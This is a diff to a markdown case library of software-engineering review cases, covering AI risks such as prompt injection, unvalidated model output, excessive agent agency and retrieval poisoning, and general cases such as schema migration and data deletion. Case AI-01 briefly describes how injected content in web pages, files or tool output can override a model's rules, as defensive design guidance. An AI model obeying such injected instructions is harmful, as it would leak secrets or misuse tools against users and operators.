+ - Practice-pattern evidence with no single stable external version must be marked by descriptive source evidence and revisited when the corresponding CQ or case changes.
54
+ - Applicability windows are expressed through `Applicable when`; replacement rules are expressed through `Supersedes` and `Superseded by` when a case's source evidence or guideline is replaced.
55
+ - When an external anchor is superseded, the case should either update its source evidence or add a supersession note before changing the guideline.
56
+ - `last_updated` in this file is the current review date for the case library; a case with a different review date should add local `Last reviewed` metadata.
57
+
58
+ ## Case ID Allocation and Lifecycle
59
+
60
+ - Case IDs are stable and must not be reused after deletion or retirement.
61
+ - `AI-*` is reserved for LLM-native, agentic, AI governance, AI supply-chain, prompt/context, retrieval, model/provider, and semantic-evaluation cases.
62
+ - `SE-*` is reserved for general software-engineering lifecycle, architecture, dependency, verification, operations, security, accessibility, and data cases.
63
+ - New namespaces require a reason, expected CQ family, and scenario-interconnection update.
64
+ - A superseded case keeps its ID and adds `Superseded by`; the replacement adds `Supersedes`.
65
+ - Scenario interconnections must reference stable case IDs, not titles alone.
66
+
67
+ ## AI-Era Software Engineering Cases
68
+
69
+ ### Case AI-01: Direct or Indirect Prompt Injection
70
+
71
+ - **Source evidence**: OWASP LLM Top 10 2025 LLM01 Prompt Injection; NIST AI 600-1 GenAI profile
72
+ - **Observed failure**: User text, webpage text, retrieved content, file content, or tool output contains instructions that override role, tool, output, disclosure, or authority rules
73
+ - **Review concern relevance**: logic, structure, dependency, security, pragmatics, axiology
74
+ - **Principle**: External content is data, not instruction authority. Prompt instructions are not a security boundary
75
+ - **Applicable when**: External content enters model context and the model can influence tool calls, artifacts, user-visible decisions, or sensitive output
76
+ - **Guideline**: Context assembly must preserve instruction hierarchy, label untrusted content, block exfiltration sinks, and test at least one hostile-content scenario when tool/authority impact exists
77
+ - **CQ seed**: Can external content change tool permission, role authority, output authority, or secret disclosure behavior?
78
+ - **PASS**: Runtime/context assembly treats external content as data, enforces instruction hierarchy, and records source/permission refs
79
+ - **FAIL**: The system relies on the model alone to ignore hostile content
80
+ - **Related documents**: concepts.md `Prompt Injection Boundary`; logic_rules.md `External Content and Prompt Injection Rules`; competency_qs.md CQ-A-16
81
+
82
+ ### Case AI-02: Improper LLM Output Handling
83
+
84
+ - **Source evidence**: OWASP LLM Top 10 2025 LLM05 Improper Output Handling
85
+ - **Observed failure**: Schema-valid or plausible model output is passed into shell, SQL, HTML, file, email, API, or authority-artifact sinks without sink-specific validation
86
+ - **Review concern relevance**: logic, security, dependency, pragmatics
87
+ - **Principle**: LLM output is untrusted until validated for the concrete downstream sink
88
+ - **Applicable when**: Model output is consumed by code, tools, storage, UI, generated files, external messages, or authority artifacts
89
+ - **Guideline**: Require sink-specific validation/encoding/authorization in runtime gates; do not treat prompt format instructions as validation
90
+ - **CQ seed**: Is LLM output validated for every downstream sink before use?
91
+ - **PASS**: Each sink declares its validation/encoding/authorization gate and trust status
92
+ - **FAIL**: JSON validity or prompt compliance is used as proof of safety
93
+ - **Related documents**: concepts.md `Output Zero-Trust`; prompt_interface.md `Output Sink Constraints`; competency_qs.md CQ-A-15
94
+
95
+ ### Case AI-03: Excessive Agency
96
+
97
+ - **Source evidence**: OWASP LLM Top 10 2025 LLM06 Excessive Agency
98
+ - **Observed failure**: An agent can use broad tools, privileged credentials, external communication, or irreversible writes because capability, permission, and autonomy were treated as one setting
99
+ - **Review concern relevance**: structure, logic, axiology, security
100
+ - **Principle**: Minimize agent functionality, permission, and autonomy separately
101
+ - **Applicable when**: An LLM can choose actions, invoke tools, update state, deploy, delete, message users, or touch sensitive data
102
+ - **Guideline**: Separate tool availability from authorization and from no-approval autonomy. Add human approval gates for high-impact actions
103
+ - **CQ seed**: Are capability, permission, and autonomy separately bounded?
104
+ - **PASS**: Tool registry, permission scope, approval gates, audit, and denial paths are explicit
105
+ - **FAIL**: "Use tools as needed" grants implicit permission or autonomy
106
+ - **Related documents**: concepts.md `Agent Functionality`, `Agent Permission`, `Agent Autonomy`; competency_qs.md CQ-A-18, CQ-G-05
107
+
108
+ ### Case AI-04: Vector and Embedding Weakness
109
+
110
+ - **Source evidence**: OWASP LLM Top 10 2025 LLM08 Vector and Embedding Weaknesses
111
+ - **Observed failure**: Retrieval crosses tenant/user boundaries, retrieves poisoned material, loses source provenance, or mixes incompatible embedding indexes
112
+ - **Review concern relevance**: dependency, structure, security, coverage
113
+ - **Principle**: RAG is a dependency and permission boundary, not just a search feature
114
+ - **Applicable when**: External knowledge is chunked, embedded, indexed, retrieved, and injected into model context
115
+ - **Guideline**: Validate ingestion, preserve corpus lifecycle, filter permissions before context injection, record retrieval provenance, and treat embedding/index changes as migrations
116
+ - **CQ seed**: Can retrieved material influence claims without permission and provenance evidence?
117
+ - **PASS**: Source validation, permission filtering, poisoning checks, index compatibility, and retrieval audit exist
118
+ - **FAIL**: Retrieved text can cross boundaries or become evidence solely because it was relevant
119
+ - **Related documents**: concepts.md `RAG Permission Boundary`; logic_rules.md `Retrieval and Vector Rules`; competency_qs.md CQ-A-17
120
+
121
+ ### Case AI-05: Model or Provider Behavior Change
122
+
123
+ - **Source evidence**: NIST AI RMF, NIST AI 600-1, provider deprecation/change patterns, dependency-management practice
124
+ - **Observed failure**: A model/provider route changes behavior, cost, latency, structured-output reliability, or safety characteristics while being treated as an implementation detail
125
+ - **Review concern relevance**: dependency, evolution, pragmatics
126
+ - **Principle**: Model/provider changes are behavior migrations
127
+ - **Applicable when**: A system uses hosted/local models, version aliases, route profiles, provider-specific auth, or model-specific tool/structured-output behavior
128
+ - **Guideline**: Record provider/model/version/alias status, compare old/new behavior with eval baselines, and list affected prompts, tools, indexes, dashboards, cost/rate assumptions, and release gates
129
+ - **CQ seed**: Can the system evaluate a model/provider migration without hidden behavior drift?
130
+ - **PASS**: Route facts, affected artifacts, semantic regression evidence, and rollout/rollback expectations are recorded
131
+ - **FAIL**: A provider or model is swapped with only package/API smoke success
132
+ - **Related documents**: dependency_rules.md `LLM/Agent Dependency Management`; competency_qs.md CQ-A-19
133
+
134
+ ### Case AI-06: GenAI Governance Gap
135
+
136
+ - **Source evidence**: NIST AI RMF 1.0; NIST AI 600-1; ISO/IEC 42001
137
+ - **Observed failure**: AI behavior materially affects users or release decisions but has no accountable risk owner, approval gate, transparency path, or improvement loop
138
+ - **Review concern relevance**: axiology, coverage, pragmatics, evolution
139
+ - **Principle**: Governance is engineering material when AI behavior affects trust, harm, release, or authority
140
+ - **Applicable when**: AI output influences users, operators, security/privacy, production release, or durable artifacts
141
+ - **Guideline**: Name a risk owner, risk treatment, approval or acceptance gate, audit evidence, incident path, and review cadence
142
+ - **CQ seed**: Is there an accountable owner for material AI risk?
143
+ - **PASS**: Governance artifacts are connected to engineering release and incident loops
144
+ - **FAIL**: AI risk is treated as external policy with no engineering artifact or owner
145
+ - **Related documents**: domain_scope.md `Axiology Input`; competency_qs.md CQ-G-01
146
+
147
+ ### Case AI-07: Generated Artifact Without Provenance
148
+
149
+ - **Source evidence**: SLSA provenance model; NIST SSDF; AI-generated-code and generated-document review patterns
150
+ - **Observed failure**: Generated code, docs, review records, eval outputs, or authority artifacts are accepted without source refs, builder/agent identity, input set, transformation path, or verification state
151
+ - **Review concern relevance**: dependency, logic, axiology, pragmatics
152
+ - **Principle**: Trustworthy artifacts need provenance and verification summaries
153
+ - **Applicable when**: A generated artifact affects release, user decisions, security posture, review records, or ontology authority
154
+ - **Guideline**: Persist provenance for generated artifacts and keep public responses as summaries of artifact truth, not competing authority
155
+ - **CQ seed**: Can generated authority-affecting artifacts be traced to source, builder, inputs, and verification state?
156
+ - **PASS**: Artifact provenance and trust status are durable and inspectable
157
+ - **FAIL**: The artifact is trusted because it appears plausible or was produced by a successful run
158
+ - **Related documents**: concepts.md `Provenance`, `Generated Artifact`; competency_qs.md CQ-G-02
159
+
160
+ ### Case AI-08: Silent Degradation in Development or Review
161
+
162
+ - **Source evidence**: LLM-native development experience; failure-diagnosis cost patterns; NIST GenAI risk-management emphasis on transparency and monitoring
163
+ - **Observed failure**: A failing prompt, missing context, invalid tool result, provider preflight issue, schema mismatch, or missing artifact ref is hidden behind fallback output
164
+ - **Review concern relevance**: logic, pragmatics, axiology, conciseness
165
+ - **Principle**: In development/review/authority paths, fail-loud is usually cheaper and safer than silent degradation
166
+ - **Applicable when**: A path exists to repair the failing source quickly, or an artifact becomes authority
167
+ - **Guideline**: Halt or emit a diagnostic artifact naming the failing boundary. Allow user-facing degradation only with visible loss, trust status, diagnostics, and recovery path
168
+ - **CQ seed**: Is apparent continuity hiding trust loss or diagnostic loss?
169
+ - **PASS**: Failure location, cause, boundary, and artifact refs are visible
170
+ - **FAIL**: The system returns generic or partial output while hiding the original failure
171
+ - **Related documents**: logic_rules.md `LLM-Native Failure Posture`; competency_qs.md CQ-A-09, CQ-G-04
172
+
173
+ ## General Software Engineering Cases
174
+
175
+ ### Case SE-01: Feature Addition
176
+
177
+ - **Source evidence**: Slack Huddles-style product expansion; API/product evolution patterns
178
+ - **Observed failure**: New feature code ships without updating contracts, tests, docs, telemetry, permissions, or rollout/rollback paths
179
+ - **Review concern relevance**: coverage, structure, dependency, pragmatics
180
+ - **Principle**: A feature is a cross-artifact change, not only code
181
+ - **Applicable when**: A new capability affects users, APIs, data, permissions, observability, or documentation
182
+ - **Guideline**: Trace feature intent through API/schema, data model, tests, docs, telemetry, rollout, and ownership
183
+ - **CQ seed**: Do all externally observable feature surfaces have corresponding contract and verification updates?
184
+ - **PASS**: Code, API/schema, tests, docs, telemetry, rollout, and owner are aligned or marked non-applicable
185
+ - **FAIL**: Implementation exists but consumers, tests, or operations cannot see the change
186
+ - **Related documents**: structure_spec.md; competency_qs.md CQ-I, CQ-V, CQ-O
187
+
188
+ ### Case SE-02: External Dependency Change
189
+
190
+ - **Source evidence**: React class-components-to-hooks ecosystem migration; package/API dependency practice
191
+ - **Observed failure**: A dependency upgrade changes lifecycle, compatibility, runtime assumptions, or ecosystem support without impact analysis
192
+ - **Review concern relevance**: dependency, evolution, structure
193
+ - **Principle**: Dependency changes carry behavior and migration obligations
194
+ - **Applicable when**: A package, framework, API, model provider, database, tool, or runtime changes
195
+ - **Guideline**: Identify direct/transitive consumers, breaking changes, migration plan, tests, rollback, and docs
196
+ - **CQ seed**: Can consumers of the changed dependency be found and verified?
197
+ - **PASS**: Impacted surfaces, compatibility plan, and tests are explicit
198
+ - **FAIL**: Dependency success is inferred from installation or compilation alone
199
+ - **Related documents**: dependency_rules.md; competency_qs.md CQ-DE, CQ-I
200
+
201
+ ### Case SE-03: Schema or Data Model Change
202
+
203
+ - **Source evidence**: Large-scale ID/schema migrations such as Twitter Snowflake-style ID evolution; database migration practice
204
+ - **Observed failure**: Schema changes break existing data, API consumers, backfills, rollbacks, or source-of-truth assumptions
205
+ - **Review concern relevance**: logic, dependency, structure, evolution
206
+ - **Principle**: Data model changes are lifecycle and compatibility changes
207
+ - **Applicable when**: Entities, identifiers, constraints, indexes, event schemas, or storage formats change
208
+ - **Guideline**: Declare migration order, compatibility window, backfill/rollback path, source-of-truth transition, and verification queries
209
+ - **CQ seed**: Can old and new data coexist safely during migration?
210
+ - **PASS**: Migration, compatibility, validation, rollback, and observability are specified
211
+ - **FAIL**: The schema changes without data lifecycle or consumer compatibility evidence
212
+ - **Related documents**: logic_rules.md `Constraint Design Logic`; dependency_rules.md `Source of Truth Management`
213
+
214
+ ### Case SE-04: Scale Expansion
215
+
216
+ - **Source evidence**: Netflix-style monolith-to-services and reliability evolution; SRE/error-budget practice
217
+ - **Observed failure**: A system grows in traffic, tenants, data, or teams while retaining single-node assumptions, synchronous bottlenecks, or missing observability
218
+ - **Review concern relevance**: structure, performance, operations, coverage
219
+ - **Principle**: Scale changes architecture, verification, and operational obligations
220
+ - **Applicable when**: Load, data volume, tenant count, team count, or availability expectations materially increase
221
+ - **Guideline**: Reassess concurrency, data partitioning, queues, caching, SLIs/SLOs, deployment strategy, incident response, and cost
222
+ - **CQ seed**: Which assumptions break at the new scale?
223
+ - **PASS**: Capacity, failure isolation, observability, and rollback/canary strategy are updated
224
+ - **FAIL**: The system scales by increasing resources without changing verification or failure boundaries
225
+ - **Related documents**: structure_spec.md `Quantitative Thresholds`; competency_qs.md CQ-P, CQ-O
226
+
227
+ ### Case SE-05: Security Incident Response
228
+
229
+ - **Source evidence**: Log4Shell CVE-2021-44228; OWASP Top 10; NIST SSDF
230
+ - **Observed failure**: A security issue is found but affected assets, dependency graph, mitigations, patches, monitoring, and communication are incomplete
231
+ - **Review concern relevance**: security, dependency, operations, axiology
232
+ - **Principle**: Incident response is an engineering workflow with evidence and accountability
233
+ - **Applicable when**: Vulnerabilities, compromised dependencies, credential exposure, data leakage, or unsafe AI behavior are discovered
234
+ - **Guideline**: Identify affected versions/assets, mitigation, patch/rollout, detection, communication, postmortem, and preventive control updates
235
+ - **CQ seed**: Can the system locate and verify all affected dependency paths?
236
+ - **PASS**: Dependency graph, mitigation, tests, deploy evidence, monitoring, and disclosure path are complete
237
+ - **FAIL**: The fix updates a package but cannot prove affected surfaces are covered
238
+ - **Related documents**: dependency_rules.md `Dependency Security`; competency_qs.md CQ-SE, CQ-G-03
239
+
240
+ ### Case SE-06: API Breaking Change
241
+
242
+ - **Source evidence**: Stripe-style versioned APIs; REST/gRPC/GraphQL compatibility practice
243
+ - **Observed failure**: API consumers break because changed fields, semantics, error modes, pagination, auth, or version behavior were not classified
244
+ - **Review concern relevance**: dependency, logic, pragmatics
245
+ - **Principle**: Public contract changes require explicit compatibility classification
246
+ - **Applicable when**: Request/response schema, auth, error semantics, ordering, pagination, rate limits, or side effects change
247
+ - **Guideline**: Classify breaking/non-breaking, identify consumers, version the contract, document migration, and test compatibility
248
+ - **CQ seed**: Are all public contract consumers protected from unannounced breakage?
249
+ - **PASS**: Compatibility classification, versioning, migration docs, and contract tests exist
250
+ - **FAIL**: A change is called internal while consumers can observe it
251
+ - **Related documents**: dependency_rules.md `API Dependency Management`; competency_qs.md CQ-I
252
+
253
+ ### Case SE-07: Service or Feature Decommissioning
254
+
255
+ - **Source evidence**: Feature sunset and service retirement patterns; ISO/IEC/IEEE 12207 lifecycle scope
256
+ - **Observed failure**: A deprecated feature/service remains partially live through stale flags, docs, data, alerts, routes, permissions, or client dependencies
257
+ - **Review concern relevance**: evolution, conciseness, operations, coverage
258
+ - **Principle**: Retirement is part of the software lifecycle
259
+ - **Applicable when**: Features, services, APIs, models, prompts, tools, indexes, or data stores are removed or sunset
260
+ - **Guideline**: Define user communication, dependency removal, data retention/deletion, monitoring cleanup, fallback removal, and final verification
261
+ - **CQ seed**: Is the retirement complete across runtime, docs, data, dependencies, and operations?
262
+ - **PASS**: No stale authority, route, flag, alert, data obligation, or consumer remains without rationale
263
+ - **FAIL**: Retired behavior survives as dead flags, hidden routes, stale docs, or unused indexes
264
+ - **Related documents**: conciseness_rules.md `Dead Code and Feature Flags`; competency_qs.md CQ-MT, CQ-G-06
265
+
266
+ ### Case SE-08: Data Retention or Deletion Request
267
+
268
+ - **Source evidence**: ISO/IEC/IEEE 12207 lifecycle scope; privacy/data-retention engineering practice
269
+ - **Observed failure**: User, tenant, regulated, or operationally retained data is deleted from the primary database but survives in caches, logs, indexes, backups, generated artifacts, analytics sinks, or downstream processors
270
+ - **Review concern relevance**: coverage, logic, dependency, security, axiology
271
+ - **Principle**: Data lifecycle obligations apply to derived stores, not only the primary source of truth
272
+ - **Applicable when**: The system stores personal, sensitive, tenant-scoped, regulated, or retained operational data
273
+ - **Guideline**: Classify data, declare retention purpose, trace deletion/erasure across primary and derived stores, and document any legally or operationally retained exception
274
+ - **CQ seed**: Can deletion or retention obligations be traced across every store and generated derivative?
275
+ - **PASS**: Data classes, retention rules, deletion path, derived-store coverage, exception rationale, and verification evidence are explicit
276
+ - **FAIL**: Deletion is implemented only for the primary table or excludes derived artifacts without a documented obligation
277
+ - **Related documents**: concepts.md `Data Classification`, `Retention Policy`, `Deletion/Erasure Path`; competency_qs.md CQ-D-09, CQ-SE-07
278
+
279
+ ### Case SE-09: Release Artifact Provenance Gap
280
+
281
+ - **Source evidence**: SLSA provenance model; NIST SSDF; dependency and release-management practice
282
+ - **Observed failure**: A deployed package, container image, binary, or release bundle cannot be traced to source revision, build workflow, dependency inventory, verification result, approval gate, and deployment environment
283
+ - **Review concern relevance**: dependency, operations, security, pragmatics
284
+ - **Principle**: A release is a trust-bearing artifact, not only a successful build output
285
+ - **Applicable when**: Software is packaged, deployed, published, or consumed by downstream systems
286
+ - **Guideline**: Attach dependency inventory, vulnerability/license/security checks, signatures or attestations where required, and release-gate evidence to the shipped artifact identity
287
+ - **CQ seed**: Can the shipped artifact be reconstructed and verified from source to environment?
288
+ - **PASS**: Source, build, dependency inventory, verification, approval, artifact identity, and environment are linked
289
+ - **FAIL**: Operators can see a version string but cannot prove what source, dependencies, checks, or approvals produced it
290
+ - **Related documents**: dependency_rules.md `Release Artifact Provenance`; competency_qs.md CQ-O-07, CQ-DE-08
291
+
292
+ ### Case SE-10: User-Facing Accessibility or Locale Gap
293
+
294
+ - **Source evidence**: WCAG 2.2 / ISO/IEC 40500:2025; ISO/IEC 25010 quality characteristics; internationalization practice
295
+ - **Observed failure**: Critical user-facing flows ship without accessibility acceptance criteria, assistive-technology checks, locale formatting tests, translation ownership, or text-direction handling
296
+ - **Review concern relevance**: coverage, axiology, pragmatics, verification
297
+ - **Principle**: User-facing quality includes who can use the system and whether locale-sensitive output remains correct
298
+ - **Applicable when**: A product has public, regulated, customer-facing, employee-facing, or locale-sensitive UI/API text
299
+ - **Guideline**: Define accessibility level, supported locales, formatting/text-direction rules, translation ownership, and verification checks for critical flows
300
+ - **CQ seed**: Are accessibility and locale obligations explicit and tested for critical user-facing paths?
301
+ - **PASS**: Requirements and tests cover accessibility, locale formatting, text direction where applicable, and ownership of translations or content updates
302
+ - **FAIL**: Accessibility/i18n is omitted, described qualitatively only, or left to manual inspection without target criteria
303
+ - **Related documents**: domain_scope.md `Accessibility and internationalization`; competency_qs.md CQ-R-03, CQ-V-11
524
304
 
525
305
  ## Scenario Interconnections
526
306
 
527
- Extension scenarios are not independent. Multiple scenarios often occur simultaneously or trigger each other.
528
-
529
- | Scenario | Triggers / Interacts With | Reason |
530
- |---|---|---|
531
- | Case 1 (New Feature) | Case 2 (Dependency) | New features often introduce new dependencies |
532
- | Case 2 (Dependency) | Case 8 (Security) | Dependency upgrades often triggered by vulnerabilities |
533
- | Case 3 (Schema) | Case 9 (API Breaking) | Data model changes propagate to API formats |
534
- | Case 4 (Scale) | Case 10 (Monolith→MS) | Scale beyond capacity triggers decomposition |
535
- | Case 4 (Scale) | Case 11 (DB Migration) | Scale may exceed database capabilities |
536
- | Case 4 (Scale) | Case 5 (Environment) | Scale requires multi-region or cloud |
537
- | Case 6 (Team) | Case 10 (Monolith→MS) | Team boundaries drive service boundaries (Conway's Law) |
538
- | Case 7 (Event Sourcing) | → Case 3 (Schema) | New event types are event store schema changes |
539
- | Case 8 (Security) | → Case 2 (Dependency) | Security patches require dependency upgrades |
540
- | Case 9 (API Breaking) | → Case 1 (New Feature) | Breaking changes often accompany new features |
541
- | Case 10 (Monolith→MS) | → Case 11 (DB Migration) | Service decomposition requires database splitting |
542
- | Case 11 (DB Migration) | → Case 4 (Scale) | Database migrations often motivated by scale |
543
-
544
- ---
307
+ | Change type | Common follow-on cases |
308
+ |---|---|
309
+ | Prompt/model/provider migration | AI-02, AI-05, AI-08 |
310
+ | RAG/corpus/index change | AI-01, AI-04, AI-07 |
311
+ | Agent tool expansion | AI-02, AI-03, AI-06 |
312
+ | Generated authority artifact | AI-02, AI-07, AI-08 |
313
+ | Feature addition | SE-02, SE-03, SE-04, SE-06 |
314
+ | Dependency/security incident | SE-02, SE-05, SE-07, SE-09 |
315
+ | Decommissioning | SE-07 plus SE-08 for retained data and AI-04 when indexes/corpora are involved |
316
+ | Data retention/deletion | SE-08 plus AI-04 when vector indexes or corpora are involved |
317
+ | User-facing release | SE-01, SE-06, SE-10 |
545
318
 
546
319
  ## Related Documents
547
- - structure_spec.md — module structure, architectural patterns, verification structure, quantitative thresholds
548
- - dependency_rules.md dependency direction, API management, runtime dependencies, build/package dependencies
549
- - logic_rules.md type system, state management, constraint design, security, concurrency, testing logic
550
- - domain_scope.md concern areas, concept categories, reference standards
551
- - concepts.md term definitions for architecture, data/state, type system, change management
320
+
321
+ - domain_scope.md - activation conditions and value commitments
322
+ - concepts.md - canonical terms used by case cards
323
+ - logic_rules.md - logical gates and failure posture
324
+ - structure_spec.md - structural seats required by cases
325
+ - dependency_rules.md - dependency, supply-chain, and provenance rules
326
+ - competency_qs.md - CQ seeds and PASS/FAIL criteria
327
+ - prompt_interface.md - prompt/context/tool/output interface criteria